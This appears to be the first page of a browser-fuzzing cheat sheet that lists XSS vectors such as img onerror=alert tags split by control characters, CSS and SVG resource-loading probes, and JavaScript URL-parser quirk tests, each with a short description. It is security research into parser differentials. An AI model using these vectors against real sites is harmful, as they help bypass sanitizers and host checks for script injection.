Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 208 vectors with results
<img src0x09onerror=alert(9)>This vector shows which characters separate HTML attributes
<img src
onerror=alert(10)><img src0x0Conerror=alert(12)>This vector shows which characters separate HTML attributes
<img src
onerror=alert(13)>This vector shows which characters separate HTML attributes
<img src onerror=alert(32)><div id=x style="background:url(0x09//fuzz.shazzer.co.uk/lul2842loob?9#)">test</div>
Tests which characters can be used before a protocol relative URL within an HTML style attribute.
<div id=x style="background:url(
//fuzz.shazzer.co.uk/mcmidzk62zj?10#)">test</div>
Tests which characters can be used before a protocol relative URL within an HTML style attribute.
<div id=x style="background:url(0x0C//fuzz.shazzer.co.uk/d1obt3itdjm?12#)">test</div>
Tests which characters can be used before a protocol relative URL within an HTML style attribute.
<div id=x style="background:url(
//fuzz.shazzer.co.uk/fcl02aesoqm?13#)">test</div>
Tests which characters can be used before a protocol relative URL within an HTML style attribute.
<div id=x style="background:url( //fuzz.shazzer.co.uk/wbx0annez5d?32#)">test</div>
Tests which characters can be used before a protocol relative URL within an HTML style attribute.
<div id=x style="color:⟦09⟧red">test</div>
This vector shows which characters are allowed before a CSS property value
<div id=x style="color:
red">test</div>
This vector shows which characters are allowed before a CSS property value
<div id=x style="color:⟦0C⟧red">test</div>
This vector shows which characters are allowed before a CSS property value
<div id=x style="color:
red">test</div>
This vector shows which characters are allowed before a CSS property value
<div id=x style="color: red">test</div>
This vector shows which characters are allowed before a CSS property value
<div id=x style="co\lor:red">test</div>
This vector shows which characters are allowed in-between a CSS property name
<svg><image 0x09href="https://fuzz.shazzer.co.uk/wg3g9s4uiph?9" /></svg>Uses CSP violations to determine if external resources have been requested. This fuzzes characters before the href attribute in SVG.
<svg><image
href="https://fuzz.shazzer.co.uk/2wfx8nraazb?10" /></svg>Uses CSP violations to determine if external resources have been requested. This fuzzes characters before the href attribute in SVG.
<svg><image 0x0Chref="https://fuzz.shazzer.co.uk/t7ce101ajwn?12" /></svg>Uses CSP violations to determine if external resources have been requested. This fuzzes characters before the href attribute in SVG.
<svg><image
href="https://fuzz.shazzer.co.uk/tznrs4l2h6q?13" /></svg>Uses CSP violations to determine if external resources have been requested. This fuzzes characters before the href attribute in SVG.
<svg><image href="https://fuzz.shazzer.co.uk/mv7puyikog?32" /></svg>Uses CSP violations to determine if external resources have been requested. This fuzzes characters before the href attribute in SVG.
<img 0x09src=https://fuzz.shazzer.co.uk/linvpk4q0y?9>Uses CSP violations to determine if external resources have been requested. This fuzzes characters before the src attribute.
<img
src=https://fuzz.shazzer.co.uk/m43yu17tat?10>Uses CSP violations to determine if external resources have been requested. This fuzzes characters before the src attribute.
<img 0x0Csrc=https://fuzz.shazzer.co.uk/rwed3yu5i1c?12>Uses CSP violations to determine if external resources have been requested. This fuzzes characters before the src attribute.
<img
src=https://fuzz.shazzer.co.uk/fyk2ohn4i5f?13>Uses CSP violations to determine if external resources have been requested. This fuzzes characters before the src attribute.
<img src=https://fuzz.shazzer.co.uk/f7jkj4k71no?32>Uses CSP violations to determine if external resources have been requested. This fuzzes characters before the src attribute.
<x0x00 id=x><x0x09 id=x><x
id=x><x0x0C id=x><x
id=x><x0x00 id=x><x0x09 id=x><x
id=x><x0x0C id=x><x
id=x>if (new URL("https://example.com/"+String.fromCodePoint(9)+"test").pathname==="/test") alert(9);Checks which characters are ignored before URL path components in JavaScript.
if (new URL("https://example.com/"+String.fromCodePoint(10)+"test").pathname==="/test") alert(10);Checks which characters are ignored before URL path components in JavaScript.
if (new URL("https://example.com/"+String.fromCodePoint(13)+"test").pathname==="/test") alert(13);Checks which characters are ignored before URL path components in JavaScript.
if (new URL("https://example.com/query?param1=value"+String.fromCodePoint(0)+"").searchParams.get("param1") === "value") alert(0)Tests which characters are ignored in a query parameter value using URL constructor
if (new URL("https://example.com/query?param1=value"+String.fromCodePoint(1)+"").searchParams.get("param1") === "value") alert(1)Tests which characters are ignored in a query parameter value using URL constructor
if (new URL("https://example.com/query?param1=value"+String.fromCodePoint(2)+"").searchParams.get("param1") === "value") alert(2)Tests which characters are ignored in a query parameter value using URL constructor
if (new URL("https://example.com/query?param1=value"+String.fromCodePoint(3)+"").searchParams.get("param1") === "value") alert(3)Tests which characters are ignored in a query parameter value using URL constructor
if (new URL("https://example.com/query?param1=value"+String.fromCodePoint(4)+"").searchParams.get("param1") === "value") alert(4)Tests which characters are ignored in a query parameter value using URL constructor
if (new URL("https://example.com/query?"+String.fromCodePoint(9)+"param1=value").searchParams.get("param1") === "value") alert(9)Tests which characters are ignored in a query parameter name using the URL constructor
if (new URL("https://example.com/query?"+String.fromCodePoint(10)+"param1=value").searchParams.get("param1") === "value") alert(10)Tests which characters are ignored in a query parameter name using the URL constructor
if (new URL("https://example.com/query?"+String.fromCodePoint(13)+"param1=value").searchParams.get("param1") === "value") alert(13)Tests which characters are ignored in a query parameter name using the URL constructor
if (new URL("https://example.com/query?"+String.fromCodePoint(38)+"param1=value").searchParams.get("param1") === "value") alert(38)Tests which characters are ignored in a query parameter name using the URL constructor
new URL("https://example1.com"+String.fromCodePoint(35)+"@example2.com").host === "example1.com" && alert(35)Tests which characters are accepted within URL hostnames that return the first part of the URL when separated by @.
new URL("https://example1.com"+String.fromCodePoint(47)+"@example2.com").host === "example1.com" && alert(47)Tests which characters are accepted within URL hostnames that return the first part of the URL when separated by @.
new URL("https://example1.com"+String.fromCodePoint(63)+"@example2.com").host === "example1.com" && alert(63)Tests which characters are accepted within URL hostnames that return the first part of the URL when separated by @.
new URL("https://example1.com"+String.fromCodePoint(92)+"@example2.com").host === "example1.com" && alert(92)Tests which characters are accepted within URL hostnames that return the first part of the URL when separated by @.
<div style="background:url('/\0x09/fuzz.shazzer.co.uk/hboucztbpdv?9')">Tests which characters escaped cause an external request in-between forward slashes within a CSS URL scheme for background images.
<div style="background:url('/\
/fuzz.shazzer.co.uk/pha7rnwjjs?10')">Tests which characters escaped cause an external request in-between forward slashes within a CSS URL scheme for background images.
<div style="background:url('/\0x0C/fuzz.shazzer.co.uk/53relbdb3fe?12')">Tests which characters escaped cause an external request in-between forward slashes within a CSS URL scheme for background images.
<div style="background:url('/\
/fuzz.shazzer.co.uk/6wst7c25q0c?13')">Tests which characters escaped cause an external request in-between forward slashes within a CSS URL scheme for background images.
<div style="background:url('/\//fuzz.shazzer.co.uk/hto9u5iprtl?47')">Tests which characters escaped cause an external request in-between forward slashes within a CSS URL scheme for background images.
new URL("https://"+String.fromCodePoint(69)+"xample.com").host === "example.com" && alert(69)Tests which characters represent the character "e" in a URL constructor host
new URL("https://"+String.fromCodePoint(101)+"xample.com").host === "example.com" && alert(101)Tests which characters represent the character "e" in a URL constructor host
new URL("https://"+String.fromCodePoint(7473)+"xample.com").host === "example.com" && alert(7473)Tests which characters represent the character "e" in a URL constructor host
new URL("https://"+String.fromCodePoint(7497)+"xample.com").host === "example.com" && alert(7497)Tests which characters represent the character "e" in a URL constructor host
new URL("https://"+String.fromCodePoint(8337)+"xample.com").host === "example.com" && alert(8337)Tests which characters represent the character "e" in a URL constructor host
<a href="https://example.com?foo" id=x></a>This uses the query property to detect if the character is a question mark
<a href="https://example.com#foo" id=x></a><a href="https://example.com/foo" id=x></a><a href="https://example.com\foo" id=x></a>if (new URL("https://example.com" + String.fromCodePoint(35) + "foo").hash.includes("foo")) alert(i)if (new URL("https://example.com" + String.fromCodePoint(63) + "foo").search.includes("foo")) alert(i)if (new URL("https://example.com" + String.fromCodePoint(47) + "foo").pathname.includes("foo")) alert(i)if (new URL("https://example.com" + String.fromCodePoint(92) + "foo").pathname.includes("foo")) alert(i)Page 1 of 11